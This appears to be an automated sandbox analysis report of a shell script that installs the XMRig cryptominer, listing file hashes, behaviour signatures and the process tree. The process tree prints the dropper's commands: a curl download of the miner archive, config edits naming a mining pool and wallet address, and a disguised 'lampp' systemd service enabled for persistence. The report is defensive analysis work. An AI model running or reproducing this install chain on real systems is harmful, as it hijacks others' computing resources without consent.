Analysis

  • max time kernel
    2s
  • max time network
    1022s
  • platform
    ubuntu-22.04_amd64
  • resource
    ubuntu2204-amd64-20240522.1-en
  • resource tags

    arch:amd64arch:i386image:ubuntu2204-amd64-20240522.1-enkernel:5.15.0-105-genericlocale:en-usos:ubuntu-22.04-amd64system
  • submitted
    01-07-2024 11:13

General

  • Target

    script.sh

  • Size

    8KB

  • MD5

    97423634cc1762b2f010cb860e7fb47d

  • SHA1

    2f50775e8fe9ab98a80f06d835c5874091bf0b3e

  • SHA256

    d97530313d2423ba8c3e87ccd3d66e6cd77997d26bbb4d1dd2a5f32827dde8cd

  • SHA512

    bd5279178f713edaca1754937a859fa41dbec1fdd15c8ad3cb11894142e389d97bf3ca7f0402c018a616053b1121650ed609498a4b34c4def829e02924f6de1f

  • SSDEEP

    192:fFa1ZIJvH8czpCyzdpB3f1SAij8E3YUNvmTC8KfbmP/oYv0Yd:fEHexC+HSAHE3YUN+TC8SbmQUfd

Malware Config

Signatures

  • XMRig Miner payload 2 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Executes dropped EXE 1 IoCs
  • Checks hardware identifiers (DMI) 1 TTPs 4 IoCs

    Checks DMI information which indicate if the system is a virtual machine.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
  • Reads hardware information 1 TTPs 14 IoCs

    Accesses system info like serial numbers, manufacturer names etc.

  • Checks CPU configuration 1 TTPs 1 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads CPU attributes 1 TTPs 45 IoCs
  • Enumerates kernel/hardware configuration 1 TTPs 24 IoCs

    Reads contents of /sys virtual filesystem to enumerate system information.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 2 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/script.sh
    /tmp/script.sh
    1⤵
    • Writes file to tmp directory
    PID:1559
    • /usr/bin/cut
      cut -f1 -d.
      2⤵
        PID:1562
      • /usr/bin/nproc
        nproc
        2⤵
          PID:1563
        • /usr/bin/bc
          bc -l
          2⤵
            PID:1566
          • /usr/bin/curl
            curl -L --progress-bar https://raw.githubusercontent.com/MoneroOcean/xmrig_setup/master/xmrig.tar.gz -o /tmp/xmrig.tar.gz
            2⤵
            • Writes file to tmp directory
            PID:1567
          • /usr/bin/mkdir
            mkdir /root/lampp
            2⤵
              PID:1573
            • /usr/bin/tar
              tar xf /tmp/xmrig.tar.gz -C /root/lampp
              2⤵
                PID:1574
                • /usr/local/sbin/gzip
                  gzip -d
                  3⤵
                    PID:1575
                  • /usr/local/bin/gzip
                    gzip -d
                    3⤵
                      PID:1575
                    • /usr/sbin/gzip
                      gzip -d
                      3⤵
                        PID:1575
                      • /usr/bin/gzip
                        gzip -d
                        3⤵
                          PID:1575
                      • /usr/bin/rm
                        2⤵
                          PID:1586
                        • /usr/bin/sed
                          sed -i "s/\"donate-level\": *[^,]*,/\"donate-level\": 1,/" /root/lampp/config.json
                          2⤵
                            PID:1587
                          • /root/lampp/xmrig
                            /root/lampp/xmrig --help
                            2⤵
                            • Executes dropped EXE
                            • Checks hardware identifiers (DMI)
                            • Reads hardware information
                            • Checks CPU configuration
                            • Reads CPU attributes
                            • Enumerates kernel/hardware configuration
                            PID:1588
                          • /usr/bin/sed
                            sed -r "s/[^a-zA-Z0-9\\-]+/_/g"
                            2⤵
                              PID:1593
                            • /usr/bin/cut
                              cut -f1 -d.
                              2⤵
                                PID:1592
                              • /usr/bin/hostname
                                hostname
                                2⤵
                                  PID:1591
                                • /usr/bin/sed
                                  sed -i "s/\"url\": *\"[^\"]*\",/\"url\": \"gulf.moneroocean.stream:10001\",/" /root/lampp/config.json
                                  2⤵
                                    PID:1594
                                  • /usr/bin/sed
                                    sed -i "s/\"user\": *\"[^\"]*\",/\"user\": \"47zZneDdPNr63HM9ubMyrhYvLNbDunCkiia6fNCvQkThNuK6rrj59e3Y2nNF3ETeewbALAGYaiti4SF4ENwJ8bR7PKXXcMN\",/" /root/lampp/config.json
                                    2⤵
                                      PID:1595
                                    • /usr/bin/sed
                                      sed -i "s/\"pass\": *\"[^\"]*\",/\"pass\": \"ubuntu2204-amd64-20240522\",/" /root/lampp/config.json
                                      2⤵
                                      • Reads runtime system information
                                      PID:1596
                                    • /usr/bin/sed
                                      sed -i "s/\"max-cpu-usage\": *[^,]*,/\"max-cpu-usage\": 100,/" /root/lampp/config.json
                                      2⤵
                                        PID:1597
                                      • /usr/bin/sed
                                        sed -i "s/\"max-threads-hint\": *[^,]*,/\"max-threads-hint\": 100,/" /root/lampp/config.json
                                        2⤵
                                          PID:1598
                                        • /usr/bin/sed
                                          sed -i "s#\"log-file\": *null,#\"log-file\": \"/root/lampp/xmrig.log\",#" /root/lampp/config.json
                                          2⤵
                                            PID:1599
                                          • /usr/bin/sed
                                            sed -i "s/\"syslog\": *[^,]*,/\"syslog\": true,/" /root/lampp/config.json
                                            2⤵
                                              PID:1600
                                            • /usr/bin/cp
                                              cp /root/lampp/config.json /root/lampp/config_background.json
                                              2⤵
                                              • Reads runtime system information
                                              PID:1601
                                            • /usr/bin/sed
                                              sed -i "s/\"background\": *false,/\"background\": true,/" /root/lampp/config_background.json
                                              2⤵
                                                PID:1602
                                              • /usr/bin/cat
                                                cat
                                                2⤵
                                                  PID:1603
                                                • /usr/bin/chmod
                                                  chmod +x /root/lampp/miner.sh
                                                  2⤵
                                                    PID:1604
                                                  • /usr/bin/sudo
                                                    sudo -n true
                                                    2⤵
                                                    • Reads runtime system information
                                                    PID:1605
                                                    • /usr/bin/true
                                                      true
                                                      3⤵
                                                        PID:1606
                                                    • /usr/bin/awk
                                                      awk "{print \$2}"
                                                      2⤵
                                                      • Reads runtime system information
                                                      PID:1609
                                                    • /usr/bin/grep
                                                      grep MemTotal /proc/meminfo
                                                      2⤵
                                                        PID:1608
                                                      • /usr/bin/cat
                                                        cat
                                                        2⤵
                                                          PID:1610
                                                        • /usr/bin/sudo
                                                          sudo mv /tmp/lampp.service /etc/systemd/system/lampp.service
                                                          2⤵
                                                          • Reads runtime system information
                                                          PID:1611
                                                          • /usr/bin/mv
                                                            mv /tmp/lampp.service /etc/systemd/system/lampp.service
                                                            3⤵
                                                              PID:1612
                                                          • /usr/bin/sudo
                                                            sudo killall xmrig
                                                            2⤵
                                                            • Reads runtime system information
                                                            PID:1613
                                                            • /usr/bin/killall
                                                              killall xmrig
                                                              3⤵
                                                              • Reads runtime system information
                                                              PID:1614
                                                          • /usr/bin/sudo
                                                            sudo systemctl daemon-reload
                                                            2⤵
                                                            • Reads runtime system information
                                                            PID:1615
                                                            • /usr/bin/systemctl
                                                              systemctl daemon-reload
                                                              3⤵
                                                              • Reads runtime system information
                                                              PID:1616
                                                          • /usr/bin/sudo
                                                            sudo systemctl enable lampp.service
                                                            2⤵
                                                            • Reads runtime system information
                                                            PID:1650
                                                            • /usr/bin/systemctl
                                                              systemctl enable lampp.service
                                                              3⤵
                                                                PID:1651
                                                            • /usr/bin/sudo
                                                              sudo systemctl start lampp.service
                                                              2⤵
                                                              • Reads runtime system information
                                                              PID:1687
                                                              • /usr/bin/systemctl
                                                                systemctl start lampp.service
                                                                3⤵
                                                                  PID:1688

                                                            Network

                                                            MITRE ATT&CK Enterprise v15

                                                            Replay Monitor

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                                                            Downloads

                                                            • /root/lampp/config.json

                                                              Filesize

                                                              2KB

                                                              MD5

                                                              f3294129e6b76283965ad86a815bf383

                                                              SHA1

                                                              5fe0ab538f86962efe82cb13fc2da745610740af

                                                              SHA256

                                                              578386126ae451940ff5c21ce95b4e3be85c2d33160d6e739ed0ebbd206c7e81

                                                              SHA512

                                                              07a280be17282096ed8c319623d2e02e088e80d69e3d6d24ecaef5bedf624d006dc4963b8b1a6c0569a3c9221786bfd7cd462dddebcfcbed7879fd994b4c8333

                                                            • /root/lampp/miner.sh

                                                              Filesize

                                                              253B

                                                              MD5

                                                              f96a321a262287ceae164f23f232ed9c

                                                              SHA1

                                                              d1eeab41f244b42377afd7cc3de7428736162b24

                                                              SHA256

                                                              f572e87f0fc93c5a62023a572cf4c797c942d7618167752779854d6f73efa012

                                                              SHA512

                                                              75fc451b1f3138dbecd907ba5af2246884582190f85b4f574a99696439a3d6839c34a9310d21d206148870c7e6e7604a7ebd8bbd23406c57c6c6346fcb9cc86e

                                                            • /root/lampp/sedAJF15L

                                                              Filesize

                                                              2KB

                                                              MD5

                                                              d2a773b76f0ca819601a78fcceb254a9

                                                              SHA1

                                                              cac9ce9ad20058d841148122938e5627c982d2c2

                                                              SHA256

                                                              08af743b7c3e85aeaa636d9a13e7350c4f427af3dd942083e958591a6506b7b2

                                                              SHA512

                                                              60397ed0d4d309fc085a22cd5e497c44731f0befcdfc76fd9bc1b7151eaab65f6922d85dd0d4e0915bb528056efd4bb3327b7dbf6356c16f74afb45aa78b498d

                                                            • /root/lampp/sedEFeZVl

                                                              Filesize

                                                              2KB

                                                              MD5

                                                              abe34f1acada154c34d188c7f893bf08

                                                              SHA1

                                                              dc006bacc5bdfc1d31d0bd7f73a6cffab89b341a

                                                              SHA256

                                                              9174d4d56a8631a619d925e05d7c6f10cfab4aa925f56b13bbb3c7cedc7554b9

                                                              SHA512

                                                              ae2f9c2d0b5de320fde0a4d66acb9d954038c001d24de3e4bd06e3160ee8b7649f4e25c5a855e6081ab8038c15e9b0b1f6c12eeae40ba38993f5284d48c57372

                                                            • /root/lampp/sedQmH61Y

                                                              Filesize

                                                              2KB

                                                              MD5

                                                              3829d02417c1b4d7faaa7d6fd1a09e51

                                                              SHA1

                                                              2b4a40273cb45992917b0c678e3ff9b611047184

                                                              SHA256

                                                              2ac031cdfd189f55bac7e19d125eb8645d58477e0a2226936b591eb8645384f8

                                                              SHA512

                                                              22be028cde3297a5e81245029fd6f0b009dad67e08639a6499e1426e26bb0bdf4dcc6a360420b4c9c88e4d030d0f37dfe9b7f0798902a43b942e38a305f81f47

                                                            • /root/lampp/sedaUacpg

                                                              Filesize

                                                              2KB

                                                              MD5

                                                              d489ddbbb83271e967b8af615d17d3c7

                                                              SHA1

                                                              f0394a367a60e9727269882154098dec802774ef

                                                              SHA256

                                                              5cf89bb7fbef53cc5fbe582017145aa148ad8a8abc5bceee9f887ba4a6fcc46e

                                                              SHA512

                                                              aba9bf29076f1d5b6e81c83e5be1cee5934d23db9093ec3ea8b4d92b521e37e58d80aaea6248dc211544574f3772df990950b9236f40e863a76220f86b157954

                                                            • /root/lampp/sedpx3VRq

                                                              Filesize

                                                              2KB

                                                              MD5

                                                              8b11b027dd187104473ee7d661ffe25f

                                                              SHA1

                                                              ec46117e3b0c2ce9f7fe60ac51eb1861c49e97ef

                                                              SHA256

                                                              984513d85c8a81fbca982bd8c81a73344f39a4fe46bd9b982ed85c0ff6d1030f

                                                              SHA512

                                                              1078b6b53897534be9f070454b8545f8075017025f9252175cfc6651c7eb11a906230558daa22a1086790f5fd5fed43b9b1909b044c70fafae9aba2d99381ea2

                                                            • /root/lampp/sedqm1GIp

                                                              Filesize

                                                              2KB

                                                              MD5

                                                              e19db5ea5731b9f99d341cb1f3629a5b

                                                              SHA1

                                                              1cc23ee0c616a83eaa80479b682235d734e94f7f

                                                              SHA256

                                                              c54b1ee23a7caf20022c05aa4257bae14faf2b85f648bf5c1a77354b961889bf

                                                              SHA512

                                                              de9d508b82d02fd1eb103bf35d3de50b3a1c1067492f7ea2e47ce9a4ef9218657d45ec13d849282c8c8eaca795fa01cb9244513e278a3751df4dd2ef427b2e40

                                                            • /root/lampp/xmrig

                                                              Filesize

                                                              8.4MB

                                                              MD5

                                                              cb86b9216b63f4bf8a332fac0a3fa651

                                                              SHA1

                                                              87e9645e3805c358996782e40458f1e2fb855770

                                                              SHA256

                                                              4a4ee6dc5e09f85ddbfa1ce1e4b78fbb22369c8d3f581749e44145fbdfbfdb0f

                                                              SHA512

                                                              0461175a64d25a4333884b17d33036238fd009c02a00ebe57596de61fd91bf05b51ade33ea39a04e12d4456529ee72048a2a0bf30382050f29aeeebba499707a

                                                            • /tmp/lampp.service

                                                              Filesize

                                                              177B

                                                              MD5

                                                              540c899b78585827e807a62f7345eaf5

                                                              SHA1

                                                              8bf3146889c6b15811f226bff9fbca24d184eff2

                                                              SHA256

                                                              b32af10b7911d7113a1fe52ef467e7f123fb26552cae752ba52aef684b301fcf

                                                              SHA512

                                                              0aac2aced9505d1bde7d6c2fb6166a341982e9a170e7f0f72ede35c1305c4519e2fb07a7658558b41ad319c3d102f07d667a8769ff659b6392c81698d278af46

                                                            • /tmp/xmrig.tar.gz

                                                              Filesize

                                                              3.4MB

                                                              MD5

                                                              e003a3ec8bdd61151a61cadf950502c4

                                                              SHA1

                                                              2606bd45a8d45092c7d2c0ac9d6e92ec7ef7950e

                                                              SHA256

                                                              80b1dc6f56a95273420dc96e837d7e1a9f42c057e319dadac0cccee4425319e0

                                                              SHA512

                                                              ef80c71d8b0d09128abf9e67fe12a8cd843500419da43e7a284e016029391d826c503aeec3073a2b3d7d90ba24f18990edf6965cd38a270bbe57f20c6be022f9